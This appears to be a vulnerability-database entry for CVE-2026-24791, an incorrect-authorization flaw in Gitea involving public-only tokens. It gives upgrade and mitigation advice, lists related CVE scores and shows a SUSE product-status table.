Vendor-released patch: upgrade Gitea to 1.26.2 or later, per advisory GHSA-wrr5-99h5-gq57 (https://github.com/go-gitea/gitea/security/advisories/GHSA-wrr5-99h5-gq57). Operators who cannot upgrade immediately should revoke or rotate any existing public-only personal access tokens and OAuth grants, audit /api/v1/user/keys, /api/v1/user/emails, /api/v1/user/applications/oauth2, /api/v1/user/actions/secrets, /api/v1/user/actions/variables, /api/v1/user/actions/runners, and /api/v1/user/repos for unexpected additions, and restrict third-party OAuth app registration so that public-only grants cannot be created at all (trade-off: this breaks any legitimate integrations that rely on the public-only scope). A reverse proxy can also block the /api/v1/user/ self-route family for untrusted tokens until the upgrade is applied, at the cost of breaking legitimate users of those self routes.

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Same weakness CWE-863 – Incorrect Authorization

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CVE-2025-32462 HIGH POC
8.8
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7.8
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9.8
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Same technique Authentication Bypass

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Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

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CVE-2026-24791 vulnerability details – vuln.today
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